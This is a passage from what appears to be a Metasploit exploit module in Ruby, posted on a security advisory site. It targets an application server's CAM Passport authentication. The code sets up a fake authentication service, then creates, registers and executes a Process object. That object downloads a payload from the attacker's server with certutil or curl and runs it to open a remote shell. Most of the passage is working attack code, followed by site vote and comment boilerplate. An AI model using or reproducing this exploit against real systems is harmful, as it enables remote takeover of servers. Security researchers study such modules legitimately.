stradd(rand_text_alpha(5..12)) # client IP auth_pkt += stradd(lhost) # add the client version number auth_pkt += VERSION auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt) print_status("Authenticating using CAM Passport and our fake CAM Service...") s = get_socket(app[2], app[3], app[5]) # try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try # adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network counter = 1 res_auth = '' while(counter < datastore['AUTH_ATTEMPTS']) # send the authenticate request, but wait a bit so that our fake CAM server can respond res_auth = sock_rw(s, auth_dist, false, 0.5) if res_auth.length < 20 print_error("Failed to authenticate on attempt number #{counter}, trying again...") counter += 1 next else break end end if counter == datastore['AUTH_ATTEMPTS'] # if we can't auth, bail out, but first restore the old auth method s.close #restore_auth(app, auth_current) fail_with(Failure::Unknown, "Failed to authenticate to the Application server. Run the exploit and try again!") end auth_obj = obj_extract(res_auth) # Step 6: create a Process object print_status("Creating our Process object...") proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, []))) payload_url = "http://#{srvhost}:#{srvport}/" exe_name = rand_text_alpha(5..13) if target['Platform'] == 'win' # the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line exe_name += ".exe" exe_name = "C:\\Windows\\Temp\\" + exe_name cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}" cmd_two = exe_name else # the Linux one can actually be done in one line, but let's make them similar exe_name = "/tmp/" + exe_name cmd_one = "curl #{payload_url} -o #{exe_name};" cmd_two = "chmod +x #{exe_name}; exec #{exe_name}" end register_file_for_cleanup(exe_name) # the first argument is the command # the second whether it should wait (1) or not (0) for command completion before returning proc_cmd = [ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is [ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script) stradd("executecommand('#{cmd_one}', 1);") + stradd("executecommand('#{cmd_two}', 0);") # Step 7: add the commands into the process object print_status("Adding command :\"#{cmd_one}\" to the Process object...") print_status("Adding command :\"#{cmd_two}\" to the Process object...") sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd)) # Step 8: register the Process object with a random name obj_name = rand_text_alpha(5..12) print_status("Registering the Process object under the name '#{obj_name}'") proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name)))) # Step 9: execute the Process! print_status("Now let's execute the Process object!") sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), true) s.close # Step 10: restore the auth method and enjoy the shell! restore_auth(app, auth_current) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top